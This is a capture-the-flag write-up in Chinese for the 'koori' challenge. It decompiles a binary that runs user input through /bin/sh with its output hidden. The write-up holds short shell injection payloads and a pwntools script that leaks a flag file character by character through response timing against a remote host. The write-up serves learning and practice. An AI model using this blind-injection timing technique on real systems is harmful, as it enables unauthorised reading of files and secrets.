Post

OlympicsCTF - koori

0x01 程序分析

使用ghidra反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_0010108c(void)

{
  int iVar1;
  size_t sVar2;
  undefined1 auStack_130 [24];
  char acStack_118 [256];
  long local_18;
  
  local_18 = ___stack_chk_guard;
  setbuf(_stdout,(char *)0x0);
  setbuf(_stdin,(char *)0x0);
  FUNC_1(auStack_130);
  printf("Please send your input :) ");
  fgets(acStack_118,0x100,_stdin);
  sVar2 = strcspn(acStack_118,"\n");
  acStack_118[sVar2] = '\0';
  sVar2 = strlen(acStack_118);
  if (0x20 < sVar2) {
    puts("Sorry, your input is too lengthy :|");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  FUNC_2(auStack_130);
  iVar1 = get_and_exec(acStack_118,0xe);
  if (iVar1 != 0) {
    puts("The input timed out :(");
  }
  FUNC_3(auStack_130);
  puts("Your input has been validated :D");
  if (local_18 - ___stack_chk_guard != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(&__stack_chk_guard,0,0,local_18 - ___stack_chk_guard);
  }
  return 0;
}
  • FUNC_1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    void FUNC_1(long param_1)
    {
    int iVar1;
    int local_4;
      
    for (local_4 = 0; local_4 < 3; local_4 = local_4 + 1) {
      iVar1 = open("/dev/null",2);
      *(int *)(param_1 + (long)local_4 * 4) = iVar1;
      iVar1 = dup(local_4);
      *(int *)(param_1 + (long)local_4 * 4 + 0xc) = iVar1;
    }
    return;
    }
    

    创建了一个大小为6的 fd array, 其中前3项都指向 /dev/null, 后三项用来保存原来的 STDIN, STDOUT, STDERR.

  • FUNC_2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    void FUNC_2(long param_1)
    {
    undefined4 local_4;
      
    for (local_4 = 0; local_4 < 3; local_4 = local_4 + 1) {
      dup2(*(int *)(param_1 + (long)local_4 * 4),local_4);
    }
    return;
    }
    

    STDIN, STDOUT, STDERR被重定向到数组的前三项,也就是都重定向到/dev/null, 这会导致用户的输入无效,而程序的输出也不可见。这发生在用户输入指令之后。

  • FUNC_3
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    void FUNC_3(long param_1)
    {
    undefined4 local_4;
      
    for (local_4 = 0; local_4 < 3; local_4 = local_4 + 1) {
      dup2(*(int *)(param_1 + (long)local_4 * 4 + 0xc),local_4);
      close(*(int *)(param_1 + (long)local_4 * 4));
      close(*(int *)(param_1 + (long)local_4 * 4 + 0xc));
    }
    return;
    }
    

    恢复标准IO,发生在执行完成后

接着查看核心函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined8 get_and_exec(undefined8 param_1,int param_2)
{
  __pid_t _Var1;
  undefined8 uVar2;
  time_t __time1;
  double dVar3;
  uint local_28;
  __pid_t local_24;
  time_t local_20;
  long local_18;
  
  local_18 = ___stack_chk_guard;
  local_24 = fork();
  if (local_24 == 0) {
    execl("/bin/sh","sh",&DAT_001011e8,param_1,0);
    perror("Failed :(");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (local_24 < 0) {
    perror("ERR :|");
    uVar2 = 0xffffffff;
  }
  else {
    local_20 = time((time_t *)0x0);
    while (_Var1 = waitpid(local_24,(int *)&local_28,1), _Var1 == 0) {
      __time1 = time((time_t *)0x0);
      dVar3 = difftime(__time1,local_20);
      if ((double)param_2 < dVar3) {
        kill(local_24,9);
        waitpid(local_24,(int *)0x0,0);
        uVar2 = 0xffffffff;
        goto LAB_00101058;
      }
      sleep(1);
    }
    if ((local_28 & 0x7f) == 0) {
      uVar2 = 0;
    }
    else {
      uVar2 = 0xffffffff;
    }
  }
LAB_00101058:
  if (local_18 - ___stack_chk_guard != 0) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(&__stack_chk_guard,uVar2,0,local_18 - ___stack_chk_guard);
  }
  return uVar2;
}

fork出子进程,使用waitpid等待并计时,超过15秒就kill

0x02 构造侧信道攻击

sleep

我们可以注入大小不超过32的命令,但是唯一的限制是标准IO都被重定向到了/dev/null,导致无法看到任何程序输出。

第一反应是,能不能突破IO的限制,恢复输出呢?但是不行,因为恢复IO都发生在get_and_exec执行完成后,也就意味着我们所有的子进程都退出了。那么我们能不能残留一些新的进程,一直撑到恢复IO呢?很遗憾,当父进程被kill时,通常没有子进程能够逃脱。

既然这样,我们能不能在看不到输入的情况下获得flag呢? 或者,把目标定的小一点,泄漏flag一些信息,然后把他们拼凑起来?

我突然想到一个搞web的朋友曾经给我分享的一段经历,通过网站的响应速度来侧信道攻击。再看看这一题,主进程对子进程会进行等待,或许可以利用sleep的秒数来分析?

但这面临着多个问题,sleep的结果最多只能区分15种信息,如果想要直接获得某个字符、将Ascii转成数值、一次次地减去base后取模,效率实在是太低了。更要命的是,32个字符的命令限制看上去根本不可能满足。

yes

思考了很久都始终不能突破命令长度限制,直到我无意间了解到 yes 这个命令,它的功能非常纯粹,循环输出yes。看上去是个绝佳的工具,我开始转换思路,不使用sleep来泄漏信息,而是使用表达式连接yes.(另外注意到开启的shell是 /bin/sh, 意味着不能使用一些bash中的高级功能)

第一步是确认flag的具体名字:

1
2
3
4
[ -e flag ]&&yes
# 立刻返回
[ -e flag.txt]&&yes
# 卡住,证明文件名是./flag.txt

第二步是确认flag的长度:

1
2
[ $(wc -c <flag) \= 22 ]&&yes
# 长度为22

最后是使用二分法爆破,但是目前的版本:

1
[ $(cut -b13 flag.txt) \< '{char}' ]&&yes

长度还是超过限制了,还能不能继续压缩呢? 其中文件名flag.txt占用了很多位置,尝试使用正则表达式f*来替换,得到最终的程式:

1
[ $(cut -b13 f*) \< '{char}' ]&&yes

0x03 爆破脚本

经过实验,远程连接用4s有无响应作为判断标准比较稳妥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from datetime import datetime

flag_list = []
def probe_char(index, minval, maxval):
    if maxval - minval <= 1:
        return chr(minval)
    p = remote('65.109.210.228', 31333)
    mid = (minval+maxval)//2
    char = chr(mid)
    p.recvuntil(b':) ')
    payload = ('[ $(cut -b{index} f*) \\< \'{char}\' ]&&yes'.format(index=index, char=char)).encode()
    print(payload.decode())
    p.sendline(payload)
    

    start = datetime.now()
    data = p.recv(timeout=5)
    end  = datetime.now()
    p.close()
    if (end-start).total_seconds() >= 4:
        # < mid
        print('<',mid, char)
        return probe_char(index, minval, mid)
    else:
        # >= mid
        print('>=',mid, char)
        return probe_char(index, mid, maxval)


for i in range(0, 22):
    x = probe_char(i, 0x20, 0x7E)
    flag_list.append(x)
    print('Tmp Result', x)
    print(''.join(flag_list))

运行后获得:

1
ASIS{bl!nD_3XeCuTi0n!}
This post is licensed under CC BY 4.0 by the author.